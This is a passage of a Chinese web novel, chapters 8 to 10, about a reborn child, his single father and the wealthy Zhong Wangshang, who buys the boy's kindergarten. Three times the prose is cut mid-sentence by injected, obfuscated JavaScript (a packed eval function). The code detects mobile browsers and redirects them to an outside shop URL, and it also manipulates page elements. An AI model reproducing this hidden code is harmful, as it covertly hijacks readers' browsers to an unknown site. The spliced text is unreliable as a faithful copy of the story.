在他的记忆里,爸爸和家里遇到危险的时间在一个月之后,在这一个月里,他一定要借助钟忘熵这位爸爸的手,把那些坏人都打得落花流水! 邪恶的江小鱼瞬间冒出头来。 王守成出了办公室才反应过来,钟总刚才是在说他蠢,说他脑子被狗吃了。 “钟总骂人真高级。”王守成忍不住小声道。 江小鱼疑惑抬头。 王守成忍不住跟他道:“刚才钟总那些话都是胡说的,你听听就行,别放在心上。” 江小鱼点了点头。 回到玩具室的时候,老师差点就要出来找人了。 王守成笑呵呵的拍了拍江小鱼的后背:“我刚才带着他去别的玩具室逛了逛,我们这边还有很多好玩的玩具,他走的时候,我多送他一些。” 老师瞬间懂了,这是在给认识的人开后门:“那就谢谢王总了。” 王守成:“不客气,主要是小鱼这孩子表现得太好了。” 虽然事情走向和他预料的不一样,但最终结果却是好的,他保住了自己的工作,不用担心一家人流离失所了,钟总还给他指派了新任务,他的前途一片光明! 等到两人都走了,钟忘熵在偌大的办公室里走了几圈,又忍不住来跑跑跳跳了几圈,最终才将这股兴奋劲儿压了下去。 变成小孩也没关系,变成小孩,他就把他当儿子养一遍不就成了? 但他得确保这个儿子不会再离开他身边了。 钟忘熵想了想,拿起电话来,语气里带着笑意,让秘书部的人打了个哆嗦。 钟忘熵声音平静,语气温和:“让法务部来我这边一下。” 刚才给他们打电话的真的是钟总吗?接电话的秘书一时之间怀疑自己是出现了幻觉。 法务部人员的头发都快要掉没了,让一个四岁小孩签一份合法的雇佣合同,这种奇葩的要求也估计只能他们钟总能想得出来了。 8. 第 8 章 江小鱼回来的时候,手里拎着大包小包的,全程一蹦一跳的。老师跟在他身后,手里拎着的东西更多,还得分出一只手来牵着江小鱼。 江舒淮从老师手里接过江小鱼,笑着问道:“怎么这么开心啊?” 老师主动道:“孩子们在玩具室里玩的可开心了,我听负责人讲,小鱼这次表现非常好,所以负责人送了他很多玩具,我手里这些玩具也都是小鱼的!” 江舒淮有点惊讶,这么多玩具,全是主办方送的。 他猜测这次的主办方肯定是个财大气粗的公司,费了好大力气,江舒淮接过老师手里所有的玩具:“辛苦老师了。” “不客气,”老师笑道,“小鱼兜里还有这次主办方给他发的报酬,小鱼爸爸回家之后记得看一眼,别丢了。” 回家的时候,江舒淮和江小鱼一起收拾了好久,才给这些玩具找到了适合他们的地方。 江小鱼满意的看着这些玩具,然后想起来,立马从兜里拿出厚厚的信封递给江舒淮:“爸爸,这是我今天的工资,全部都给你。” 江舒淮摸了摸信封的厚度,有些惊讶:“这么多?” 江小鱼对钱只有一个模糊的概念,见爸爸说钱很多,便撑着下巴开始思考起来:“要给爸爸买东西,买一双袜子,买一个背包,再买一双鞋,买一个……”江小鱼罗列了很多还是要给江舒淮买的。 江舒淮学他撑着脸:“小鱼要给自己买什么东西呢?” 江小鱼立马道:“我不要买,我全部给爸爸。” 江舒淮:“爸爸谢谢小鱼,但这些钱是小鱼自己赚的,小鱼完全可以买一些东西奖励一下自己啊,不用把所有钱都给爸爸花的。” 江小鱼摇了摇头,指了指非常多的玩具:“小鱼有这些就够了。” 同时他很坚持:“赚了钱就是要给爸爸花的。” 这一套一套的,把江舒淮哄的非常高兴,做饭的时候,嘴角的弧度都没有落下来过。 而江小鱼一个人躺在床上,回想起今天见到钟忘熵的所有情节,没忍住鼓了鼓掌,他今天可太棒了! 不过有一个疑问一直在江小鱼心里,餐桌上的时候,江小鱼终于问出来了:“爸爸,什么是有丝分裂呀?人也可以有丝分裂吗?” 江舒淮有些惊讶:“怎么问起这个问题了?” 江小鱼眼珠子乱飘:“就是偶然听老师们讲到了,不知道什么意思,爸爸知道的东西特别多,所以我才想问问爸爸。” 江舒淮自然知道江小鱼撒谎了,这生物课上的东西,涉及细胞相关的,老师怎么可能会现在讲给他们,就算讲了这群孩子们也听不懂。 但既然孩子问了,江舒淮凭借着不多的记忆,给江小鱼讲解了一下原理。 江小鱼瞪大了眼睛,爸爸讲的好像和钟总讲的差不多,所以他还真的有可能是爸爸有丝分裂出来的? 江舒淮讲完之后又补充了一句:“有丝分裂只是针对真核细胞的,像我们人就是没有办法有丝分裂的。” 江小鱼就知道钟总骗他了,无奈的叹了口气:“好吧。” 转念一想,他有两个爸爸总比有一个爸爸好。 不知道是不是因为晚饭的时候和江小鱼讲了有丝分裂的事情,当晚,江舒淮梦中,男人再次出现。 和以往无数次一样,男人亲昵地蹭着江舒淮的脸颊,亲吻后移,热气喷洒在江舒淮的后颈处,男人的大手摸着江舒淮的腹部,很是惊讶地睁大了眼睛,带着江舒淮的手一起去摸:“舒淮,你看,你是不是已经有我的宝宝了?” 江舒淮微喘着气:“我是个男人……” “说不准,你就会有丝分裂给我生一个呢。” “胡说八道,我就算会有丝分裂,孩子跟你有什么关系!”江舒淮涨红了脸。 “我不管,只要是舒淮的宝宝我都喜欢。”男人动作更加放肆,“我要努力让舒淮给我生宝宝,你看,我们的宝宝在闹你呢。” 这些话当时都是床上的骚话,但江舒淮也没能想到,他一个大男人,是真的能生孩子。 而看着江小鱼这张和自己一模一样的脸,江舒淮有时候也会怀疑,是不是自己有什么特异功能,比如说江小鱼是他有丝分裂出来的。 江舒淮怀孕的时候就和自己的主治医生提过这个想法,主治医生当时一脸无语:“你觉得可能吗?” 江舒淮有理有据地反驳:“男人生孩子也不可能吧?我现在不是照样……” 主治医生当时给江舒淮解释了一通,大概是他的身体构造特殊以及为什么他能生孩子之类的,江舒淮现在已经忘记了具体的话术,但是却肯定了一件事:江小鱼就是他和钟忘熵的孩子。 第二日醒来,江舒淮揉了揉额头,没有任何异样,去厨房做饭,喊醒江小鱼,让江小鱼洗脸,刷牙,吃饭,然后送江小鱼去上学。 至于江小鱼的工资,江小鱼大方的要表示把钱给江舒淮花,但江舒淮可舍不得花,贴心的打算给儿子存了起来,这是江小鱼的第一份工资,很有纪念意义的。 但江小鱼是谁,那可是一口唾沫一个钉的人,说要给爸爸花钱,就绝对要给爸爸花钱。 在周末的时候,江小鱼硬是拉着江舒淮到了商场。 看儿子有这份心意,江舒淮也不是扭捏的人:“先谢谢小鱼了。” 江小鱼十分豪横,带着江舒淮冲进了商场里装饰得最华丽的那家店,一进去就撑着小腰:“把你们这里最好的东西拿下来,全给我爸爸!” 江舒淮看着奢侈品的logo,急忙捂住了江小鱼的嘴:“不用不用,小孩子不懂事,开玩笑的。” 江小鱼“呜呜”着想说,他可不是开玩笑的。 江舒淮把孩子抱出去,给他解释了一番奢侈品之类的,顺便跟他说,在这里买一件东西的钱,都够在别的地方买十件了。 江舒淮以为说了这些话,江小鱼就会放弃了,没想到江小鱼转身就拉着江舒淮要走:“爸爸值得最好的,贵就贵了,小鱼付得起钱!” 虽然小鱼的工资确实不少,但好像还真付不起。 江舒淮有些肉疼,最后只选了一款经典的男士黑色百搭包,他自己还垫了不少钱,没让江小鱼知道。 江小鱼十分骄傲,他就是要爸爸背上最好的包。 江舒淮看着一脸满足的江小鱼,突然觉得这钱花的也挺值的,但是,他每日背着这个大牌包去甜品店,合适吗? 同一时间,同一地点,商场一楼,钟忘熵的姑姑钟淑琴走在钟忘熵旁边:“忘熵啊,上次的事情是你表弟他做的不对,但他也不是故意的,他是看你太伤心了,才想出这个昏主意来,姑姑替他跟你道歉,你就饶了他,也饶了我们一家吧。” 见钟忘熵依旧不说话,钟淑琴又开始打起感情牌来:“姑姑记得你小时候最喜欢逛商场了,那时候姑姑虽然没什么钱,但只要分红下来,就一定带着你过来逛一逛,没想到这么多年都过去了,忘熵都长这么大了。” 钟忘熵终于有了点反应,扭头看钟淑琴:“姑姑现在带我来,也是要带我买东西吗?” 钟淑琴脸上立马带了笑容:“当然了,你想要什么,姑姑都给你买。” 钟忘熵:“去楼上那家AMS。” 钟淑琴想起那昂贵的价格,脸上笑容都有点待不住了:“那都是女孩子们喜欢的,都是包什么的,对你们男孩子来说不太合适。” “没关系,适合女孩子的我也喜欢,”钟忘熵不紧不慢地道,“不行的话,姑姑把我当女孩子也可以。” 钟淑琴嘴角没忍住抽了好几下,一咬牙道:“行!走!姑姑带你去买!” 路过AMS门口的时候,江舒淮急忙捂住了江小鱼的眼睛,生怕江小鱼嗯提出要去这种店里逛一逛,那他这位老父亲,就算是刷爆卡也买不起了。 好在这家店里的外部装修没那么奢华,江小鱼便也没有放在心上。 就在一个转弯的时候,江小鱼本来盯着前方的冰淇淋店,却看到了一个熟人,江小鱼瞪大了眼睛,他好像看到钟总了! 江小鱼快速拉着爸爸,进入了一家奶茶店:“爸爸,我请你喝奶茶!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643385|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江舒淮只以为江小鱼想喝了:“好,不过为了感谢小鱼今天给爸爸买包,爸爸请你喝奶茶。” “谢谢爸爸。”江小鱼甜甜地道。 坐他们这旁边的是一对母子,小男孩的年龄看着比江小鱼大了几岁,可能是比较少看到爸爸带娃,那位大姐主动交谈:“这是你儿子吧?一看就能看出来,小孩长得可真像你,也真乖。” 听见是夸他的话,江小鱼立马冲大姐笑了笑:“谢谢阿姨,阿姨也很漂亮。” 大姐更乐了,看到江舒淮的新包,眼睛一亮:“这包是新买的吧,跟你真是合适,你背着真好看。” “确实是刚买的,”江舒淮笑了笑,没忍住道,“这是我儿子给我买的。” 江小鱼更加骄傲的挺起小胸膛,给大姐讲了自己赚钱的事情。 大姐看着江小鱼,又看了眼自家儿子,突然想起儿子为了一个玩具车,躺地上撒泼打滚不肯起来的场景,让她丢尽了脸面。 反观人家小孩,小小年纪就已经舍得给爸爸买奢侈品包了。 真是不同孩子不同命啊,请老天也赐他一个这样的孩子吧! 江小鱼拉着江舒淮在奶茶店里坐了许久,估摸着钟忘熵已经走了,才小心翼翼的出来,左右看了看,确定没有看到钟忘熵,才松了口气,回头招呼爸爸可以走了。 江舒淮有时候确实不能太理解儿子这些小抽象,但他选择尊重。 AMS门店里,员工们是第一次碰到这种只要配货不要包包的客户,接待钟忘熵的那一位店员脸都要笑烂了,其他店员看过来眼中也全是嫉妒加羡慕的神色。 钟淑琴脸上的笑容已经很难再扯出来了,只想让这次壕无人性的购买早点结束。 但钟忘熵哪里是那么容易满足的,又一连挑了好几件东西,看着钟淑琴那张快要哭出来的脸,才终于停下了指点的动作。 店里的配货,基本都要被搬空了。 钟淑琴手抖着,拿出自己的银行卡来,这个时候,她也不确定自己的钱到底够不够。 就在店员马上要接过去的时候,钟忘熵拿出一张黑卡来:“姑姑,最后一次了,他要是还那么蠢,我就没他这个弟弟了。” 钟淑琴眼泪立马流了下来:“忘熵,好孩子,你可真是个好孩子啊。” 店中所有人齐齐的抽一下嘴角,难怪人家能有黑卡,看看人家这种做法,够他们学一辈子的了! 钟忘熵从商场出来的时候,看到了一大一小两个身影,钟忘熵怀疑自己可能是再次出现幻觉了,他揉了揉眼睛,果然再看的时候,两个身影已经都没有了。 他就知道是幻觉,能死而复生回来一个小的还不够,他竟然还奢望再来一个大的! 江舒淮虽然在儿子买包的时候肉疼,但儿子都给他买上了,这是儿子的一片心意,江舒淮便日日背着这个包在身上。 有人问起来,江舒淮就大大方方的说,这是儿子自己赚的钱给他买的。 甜品店里,员工和经常来的客户们都知道了,江老板的儿子虽然年纪小,但是个顶顶孝顺的,赚了钱就给爸爸买包。 不少人看江舒淮的眼中都带着羡慕。 有小孩的人家,回家之后都忍不住问自家小孩:“你什么时候给我买包啊?” 小孩莫名其妙,转个身,屁股对着家长,继续玩飞车。 * “你们幼儿园要合并了?”江舒淮看到这个消息的时候,略微有些惊讶。 江小鱼一副非常惊讶的样子:“啊!” 江舒淮看着群里老师的通知,老师说是有一个特别大的集团,最近想要开拓幼儿板块,便收购了他们幼儿园,幼儿园不仅地址要迁移,迁移到本市最豪华的地区,连带着基础设施和教师素质都有了大幅度的提升,关键是每年的学费还不变。 因为这事,江舒淮到小太阳幼儿园去给江小鱼开会,听着新幼儿园的各种条件,江舒淮大开眼界,没忍住跟江小鱼道:“天上掉馅饼了吗?” 江小鱼心想,不是天上掉馅饼了,是天上掉新爸爸了。 9. 第 9 章 新幼儿园办成的当天,钟忘熵屈尊来到了幼儿园,成了幼儿园的新园长。 钟忘熵忍到现在已经是忍到极致了,王守成不肯告诉他江小鱼的联系方式,他又忍着不去查,导致他现在都快要爆炸了。 如今幼儿园刚建成,钟忘熵便立马来了,他依旧脚翘在桌子上,慢慢地晃悠着。 这个姿势让任何一个人来做都不太雅观,但偏偏钟忘熵天生的贵气,让他做这些不雅观的动作,也透露着一股肆意随性。 江小鱼被老师单独叫出来,到了校长办公室之后,江小鱼才发现校长竟然是钟忘熵。 江小鱼终于找到了适合钟忘熵的称谓:“钟校长。” 钟忘熵满意的接过了这个称呼:“江同学。” 江小鱼总觉得这个不是喊他的,很快他就反应过来,这是钟忘熵在喊爸爸的。 钟忘熵挥了挥手:“过来再让我看看。” 江小鱼走近了些,钟忘熵满意的看着他,手上动了动:“转个圈,我看看全身。” 江小鱼听话的又转了一圈。 钟忘熵再次道:“就是胖了点。” 江小鱼瞪大了眼睛,这已经是钟忘熵第二次说他胖了:“我一点都不胖,我这是婴儿肥。” 钟忘熵没忍住乐了:“行,你说是婴儿肥就是婴儿肥,别说,变小了之后,还是胖点好看。” 江小鱼气鼓鼓的,不再理人了。 “行了,别气了。”钟忘熵站起来,示意江小鱼看旁边,只见偌大的校长办公室中,有四分之一的地方,摆满了当下最时兴的玩具。 江小鱼惊讶的张大了嘴巴。 钟忘熵有些得意:“都说了让你叫我爸爸,虽然你没叫,但我也会把你当儿子养的。” 江小鱼看着成堆的玩具,现在他叫声爸爸,好像也不是什么难以接受的事情了。 钟忘熵:“以后想要什么直接跟我说,我有的是钱。” 江小鱼没想到钟忘熵这么好说话,立马顺着杆子往上爬:“那如果我遇到麻烦了,你能帮我吗?” 钟忘熵坐下来:“我也不是随时都有时间的。” “那你什么时候有时间啊?”江小鱼问。 钟忘熵:“每天的话,大概就是早上八点到中午十二点,下午两点到六点,晚上八点到十二点,这些时间段都是有时间的。” “其他的时间呢?”江小鱼疑惑问道。 “其他的时间段我要吃饭睡觉。”钟忘熵道。 江小鱼:“……” 江小鱼鼓着脸,好像第一次碰到比他还不讲道理的人。 算了,他有求于钟总,不跟钟总计较。 钟忘熵逗够了,才正色道:“说吧,你打算让我帮你办什么事情?是喜欢旁边那家游乐园,还是隔壁那家超市,或者是哪个商场?随便选,这些东西都是我家的,我直接送给你。” 江小鱼第一次遇见这么豪横的人,不过他可不敢收,江小鱼急忙摆手:“我不要这些。” 钟忘熵眯起眼睛:“如果你想让我随时帮你的话,还有一个方法,你只要跟我签订一份合同,答应我,从今往后你要按照我的指示做事,那么你有什么要求,我都能满足你。” 还有这种好事儿? 有着上辈子对钟忘熵的滤镜,江小鱼毫不犹豫地答应了。 合同被放到桌子上,钟忘熵直接把江小鱼抱到桌子上,指着要签名的位置:“把你的名字写这里。” 江小鱼一笔一画地写上自己的名字:江小鱼。 钟忘熵不耐地啧了一声:“写错了。” 江小鱼疑惑地看他,他没有写错呀。 钟忘熵:“要写江舒淮。” 江小鱼瞳孔猛震,唉? 哦,忘记了,钟总把他当成爸爸有丝分裂版了。 有丝分裂版就有丝分裂版,江小鱼按照钟忘熵的指令,在他指的位置上,歪歪扭扭地写下了爸爸的名字。 钟忘熵绝望地闭上了眼睛:“你现在要做的第一件事情,就是好好练字。” 江小鱼下意识地小声说:“不要。” 但想起来自己刚答应了钟忘熵,以后要听他的话,江小鱼只能委委屈屈地答应了。 钟忘熵被江小鱼的字丑到了,这怎么能是他的舒淮写出来的字。 把合同收起来,钟忘熵打了一个电话。 前幼儿园园长被钟忘熵一个电话喊来,拿来了一沓子字帖,然后就看到了他们的学生,坐到了新园长的桌子上。 前幼儿园园长不懂,这是在做什么。 前幼儿园园长指着江小鱼:“钟总,这孩子……” “这是我干儿子。”钟忘熵随便找了一个借口。 江小鱼眨了眨眼睛,明明是亲儿子。 前幼儿园园长瞬间懂了,原来俩人还有这种关系,难怪钟总会收购他们幼儿园,还跟做慈善似的改善幼儿园,感情全是为了这个干儿子来的。 只不过,钟总和这个小孩长得不像,又莫名的好像在其他地方有点相似,但具体是哪一点相似,前园长一时半会也想不起来。 在钟忘熵的冷眼下,前园长放下字帖出去了。 “从今天开始,你就开始练字,直到把字写漂亮了。”钟忘熵冷酷无情地下了命令。 江小鱼看着字帖上的字,很不情愿地一笔一画描了起来。 而钟忘熵好像陷入了以前的回忆之中,没忍住道:“以前的你,字写得最漂亮了,是咱们全系写字最好看的人,参加书法大赛还获奖了。” 江小鱼知道他说的是爸爸,没想到爸爸这么厉害,江小鱼与有荣焉。 趁着这个机会,江小鱼颇有心机地放下笔,问道:“钟校长,我们之前是怎么认识的,你还记得吗?” 钟忘熵看了江小鱼一眼,总觉得这话怪怪的,纠正他道:“你要这么问,我和‘大的你’是怎么认识的?” 小鱼也觉得自己奇怪,被钟忘熵这一纠正,就觉得正确起来了:“那你和‘大大的我’是怎么认识的?” 钟忘熵得意:“我和‘大大的你’……” 这话还是奇怪,钟忘熵干脆不管什么大的小的了,直接道:“我和舒淮是大学同学,他对我一见钟情,暗恋我许久,被我发现之后,我们两个顺其自然的就在一起了。” 江小鱼听得很认真,原来两位父亲是这么在一起的。 钟忘熵继续道:“我们在大学时期,那可是最相爱的一对,羡煞了全校的情侣,他爱我爱的不行,根本就离不开我一会。” 钟忘熵越说越来劲,还故作无奈地摇了摇头:“舒淮真的是太黏人了。” 黏人?江小鱼很难将这个词放在爸爸身上。 他的爸爸独立又坚强,仿佛什么问题在他眼中都不是困难,也会有黏人的时候吗?就像他不想离开爸爸一样。 江小鱼乐观的想,以后爸爸可以黏着他,他会永远陪伴着爸爸的。 钟忘熵又说出更多的细节来:“舒淮吃饭的时候必须和我一起吃,才能吃得下去,我们吃饭的时候,他喂我一口,我喂他一口,现在想起来,学校食堂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643386|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭是真好吃啊,我们晚上睡觉的时候,舒淮必须搂着胳膊才能睡得着,要是去个哪,我在前面骑自行车,江舒淮在后面搂着我的腰,还有,舒淮的衣服全部都是我给他买的,他也只穿我买的衣服,他真是一点都离不开我……” 江小鱼听得一阵恍惚,这真的是他认识的爸爸吗?他怀疑钟忘熵在骗他,但是钟忘熵又讲得这么肯定,江小鱼一时之间还真被唬住了。 钟忘熵讲着讲着,忽然意识到什么,他看向江小鱼:“你怎么不继续练字了?” 江小鱼笑了笑:“不着急,我觉得听你讲,挺有意思的。” 想起江小鱼那笔丑字,钟忘熵闭上了眼睛,现在练字才是当务之急的大事:“以后想听我再慢慢给你讲,现在继续练字。” 江小鱼偷不了懒了,只能绝望的继续描字。 江小鱼想,他写的字丑,纯粹是因为他年纪还小,只要他慢慢长大了,写的字肯定就好看了。 所以现在,江小鱼描字只当画画玩,根本不上一点心。 一整天,江小鱼脑子中都是钟忘熵给他描绘的,格外黏人的江舒淮。 爸爸真的会是那个样子的吗? 这点疑问在江小鱼心里越滚越大,终于在晚饭时,江小鱼没忍住问道:“爸爸,你和妈妈是怎么认识的呀?” 一句话,把江舒淮带到了那年C大开学的九月份。 大一刚开学,江舒淮就被选举成了班长,他做事认真负责,为人谦和有礼,所有人都对他十分信服。 开学一周之后,辅导员把江舒淮喊到办公室,给了他一份学生名单,告诉他这几个人都是班上的重点关注对象,一定要好好关注一下他们的各方面健康。 那三个人里,江舒淮认识两个,一位同学是腿部有残疾的,但非常积极乐观,另一位曾经是饱受抑郁症折磨的,现在已经基本恢复了,剩下一个江舒淮不认识,却记住了这个名字:钟忘熵。 因为前两位同学的特殊性,江舒淮理所应当地认为,钟忘熵也是有某种不方便说的特殊情况,所以才会被辅导员要求特殊照顾。 大学时期了,大家都有自尊,江舒淮不会明显地照顾这三位同学,但会关注他们的情况。 不仅是出于老师任务的交代,也是出于他本人的关怀。 前两位同学还好,看起来一切正常,和大家相处得也很好。 而最后一位同学,江舒淮刚开始总找不到人。 每节课每次点名的时候,这位钟忘熵同学都在,而直到下课的时候,江舒淮才能在某个角落里看到这位同学。 这更加验证了江舒淮的猜测,这位同学可能有什么难言之隐。 江舒淮几次想要和对方聊天,却找不到一点机会,这位钟忘熵同学躲他躲得非常快。 就在江望舒快要放弃的时候,他终于能在课堂上看到这位钟忘熵同学了,他很快又发现,每次他看向这位钟忘熵的时候,钟忘熵都能精准地快速地回望他。 第一次看清楚钟忘熵正脸的时候,江舒淮心脏仿佛被击中了一下,钟忘熵特别帅,在不会打扮不修边幅的大一男生中,钟忘熵帅得十分突出。 意识到不对,江舒淮收回视线。 考虑到有些人对视线格外敏感,就在江舒淮怀疑自己时不时的看钟忘熵,是不是给他带来了困扰,再次想找他聊一聊时…… 大学时期,关于江舒淮第一条流言出现了:江舒淮谈恋爱了。 江舒淮多了一个他自己都不知道的男朋友。 这个男朋友,就是钟忘熵。 10. 第 10 章 “爸爸。” 江舒淮回过神来:“怎么了,小鱼?” 江小鱼:“爸爸,我刚才在问你和妈妈是怎么认识的。” 江舒淮思索片刻,打算给江小鱼的另一位爸爸留点面子:“我们算是两情相悦,自然而然的在一起。” 江小鱼:“是你一见钟情,暗恋妈妈吗?” 江舒淮嘴角抽了一下:“这倒不算。” 江小鱼:“那你和妈妈谁比较黏人呢?” 江舒淮:“……他比较黏人。” 眼看着江小鱼还要问,江舒淮夹起一个蒸饺来,喂到江小鱼的嘴里:“好了,快吃饭了,不然一会饭就要凉了。” 江小鱼嚼嚼嚼,咽下,好吃。 然后委屈巴巴的:“爸爸,可以再给我多讲一点你和妈妈的故事吗?” 想起江小鱼从出生起便没有见过另一位父亲,江舒淮难免心软了:“先吃饭,等吃饭之后爸爸再给你讲。” 江小鱼“耶”了一声,乖乖吃饭。 吃完饭之后,父子俩坐在沙发上,江舒淮想给江小鱼留个好印象,便道:“我和你妈妈是大学同学,开学的时候,老师让我多关照一下他,但刚开始我总找不到他人,后来找到了,我们也熟悉起来,慢慢的就在一起了。” “就这样?”江小鱼眨了眨眼睛,怎么跟钟总讲得完全不一样。 江舒淮点了点头。 “之后呢?”江小鱼又问。 在孩子面前,之后的事情,江舒淮就不肯再讲了,只道:“等你长大之后,爸爸再给你讲。” 江小鱼有点可惜,但他能确定了,爸爸才不是黏人精。 江小鱼写完作业之后,拉了拉江舒淮的衣服:“爸爸,我要看电视,看我们上次没有看完的那个。” 江舒淮一时没想起来,直到江小鱼现场给他演绎了一番:“这一辈子,我要靠我自己,保护好爸爸,让坏人付出代价!” 说完之后,江小鱼急忙捂住嘴,他好像暴露了。 江舒淮并没有多想,而是终于想起来,江小鱼说的是他们一起看的短剧,他把拿不短剧找出来,继续播放。 江小鱼急忙说不对,他准确地告诉江舒淮上次看到了哪里,要从上次看过的地方继续看。 江舒淮这才想起,自己之后又追了几集,没带江小鱼一起看。 江舒淮假装没事发生的调回到江小鱼指定的集数。 看的时候,江小鱼坐得板正,全神贯注,眼睛死死盯着电视,认真的不能再认真,同时口里还在小声呢喃着什么。 看到上辈子陷害女主的人一个个被女主解决,江小鱼痛快地直鼓掌。 这动静引得江舒淮看了好几眼,短剧这么吸引小孩子的吗? 眼看着到了要睡觉的时间,江舒淮示意江小鱼:“小鱼,该睡觉了。” 江小鱼不舍地摁了暂停,洗漱睡觉。 第二天,来到幼儿园上,江小鱼心惊胆战的,怕还碰到钟忘熵让他练字。 好在一上午过去,钟忘熵都没来。 就在江小鱼马上要松了口气的时候,下午,一沓字帖又放到了他桌子上,老师温柔地摸了摸他的头:“这是小鱼今天额外的任务,校长说你知道的。” 江小鱼脸上的笑容立马没了,为什么钟忘熵不在,他还要练字啊! 就在江小鱼好不容易描完今天的字帖后,他又被叫到了校长办公室。 钟忘熵显然刚来没多久,他一身剪裁得体的西装,身后站着一个同样穿着西装的男人。 钟忘熵敞开腿坐在沙发上,下巴轻抬:“写两个字我看看。” 江小鱼握着笔,刚要写自己的名字,就被钟忘熵制止了:“写个别的,别糟蹋这三个字。” 江小鱼反应过来,钟忘熵以为他要写爸爸的名字,他看着钟忘熵,就算他写字写的丑,也算不上糟蹋吧? 江小鱼气鼓鼓地写钟忘熵的名字,写的依旧歪七扭八。 钟忘熵:“你练字就练出这个效果?” 江小鱼不服气:“我才练了一天,谁一天能把字练好啊!” 钟忘熵一时之间找不出反驳的话。 跟着钟忘熵过来的助理瞪大了眼睛,这是谁家的小孩,敢这么和钟总说话?助理已经做好了准备,等会儿钟总把小孩吓哭了,他就立马去哄。 一秒,两秒,三秒,钟忘熵依旧不知道说什么。 助理这下是真震惊了,这还是他第一个见到能把钟总怼的说不出话的人,这小孩有点东西,他十分敬佩。 钟忘熵深呼吸几口气,问他:“那你什么时候能够练好字?” 江小鱼无辜地眨了眨眼睛:“等我长大了,字写得就好了。” 钟忘熵面无表情地看着他,冷酷无情地告诉他:“如果你好好不练字的话,长大之后你的字也会很丑,很丑。” 江小鱼瞪大了眼睛。 一秒,两秒,三秒,这下轮到钟忘熵得意了。 钟忘熵没得意多久,江小鱼终于忍不住了,瘪着嘴:“你才丑呢!你刚见面的时候就说我胖,还说了我两次,现在还说我的字丑!我再也不要和你玩了!” 说完江小鱼就跑出了校长办公室。 钟忘熵愣在原地,问助理:“他为什么发脾气?” 助理小心回答:“钟总,这个年纪的小孩子,自尊心开始萌芽了。” 在助理看来,一个四岁的小孩,能认识字写字就已经很厉害了,结果被钟总说字丑,结合小孩刚才说的话,钟总还说过人家胖。这些话他们成年人都不愿意听,对小孩来说估计更是毁灭性的打击了。 钟忘熵眉头狠狠皱起,舒淮脾气很好的,从来没有跟他发过脾气的,小孩怎么就这么难搞了? 比他管理公司还要难搞,钟忘熵揉了揉额头:“那我要做什么?” 助理这才意识到钟忘熵是在跟自己说话,想了想告诉钟忘熵:“小孩子脾气来的快去的也快,您跟他道个歉就可以了,顺便可以夸夸他的字。” 钟忘熵:“他字写的就是丑啊。” 突然离开校长办公室,走了许久又把自己哄好的江小鱼,觉得不该发脾气。 不管怎么说,钟忘熵上辈子帮他和爸爸报了仇,是他和爸爸的恩人,就算被恩人说长得胖和写字丑也没关系的。 尽管江小鱼心里十分觉得有关系,但他已经是大孩子了,便只能委屈自己,告诉自己没关系。 他转身返回办公室,想告诉钟忘熵,自己以后会好好练字,然而刚走到门口,江小鱼就听见了钟忘熵这句话。 “他字写的就是丑啊。” 四目相对,钟忘熵非常罕见的有些心虚,就跟他背着舒淮偷偷抽烟,转身就看到舒淮时一模一样的心虚。 江小鱼抿了抿嘴,终于忍不住,“哇”的一声哭了出来。 再成熟江小鱼前世也不过是七岁的小孩子,这个年纪的小孩本就莫名其妙,江小鱼是时刻惦记着要保护好爸爸,才强迫自己变成小男子汉的。 眼下对着钟忘熵,江小鱼也不管什么男子汉不男子汉了,爸爸都没有说过他,钟忘熵凭什么说他! 江小鱼哭的那叫一个凄惨。 钟忘熵呼吸急促了几分,耳膜生疼,茶几上的文件被他扫落,直到手中摸上茶几上的烟灰缸。 助理发现后,暗道不好,心里疯狂风暴,要怎么在保护好小孩的情况下,安抚并带走钟总,封锁这里的消息。 就在助理心惊胆战的几秒中内,小孩的哭声传入耳中,声音变小,好像也没那么刺耳了,钟忘熵扔下烟灰缸,大步走出了办公室。 助理急忙跟上。 接到孩子的时候,江舒淮就敏锐的察觉到江小鱼的情绪不对劲,他回到家后才细细询问。 江小鱼瘪了瘪嘴,靠在江舒淮怀里:“爸爸,我写的字很难看。” 江舒淮还以为什么呢,松了口气,问道:“小鱼是想把字写得漂亮吗?” 江小鱼委屈地点了点头。 江舒淮:“爸爸可以教小鱼呀。” 江小鱼眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643387|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛立马亮了,对啊,爸爸的字最漂亮了。 江舒淮找出许久不用的笔墨纸砚,握着江小鱼的小手,一笔一划地写出江小鱼的名字。 江小鱼惊呼一声:“爸爸写的字真的好漂亮!” 江舒淮温柔的笑了笑:“小鱼想学吗?爸爸可以教你。或者你想学一下其他的,比如钢笔字?” 江小鱼兴奋地指着毛笔字:“我就要学这个,爸爸!” 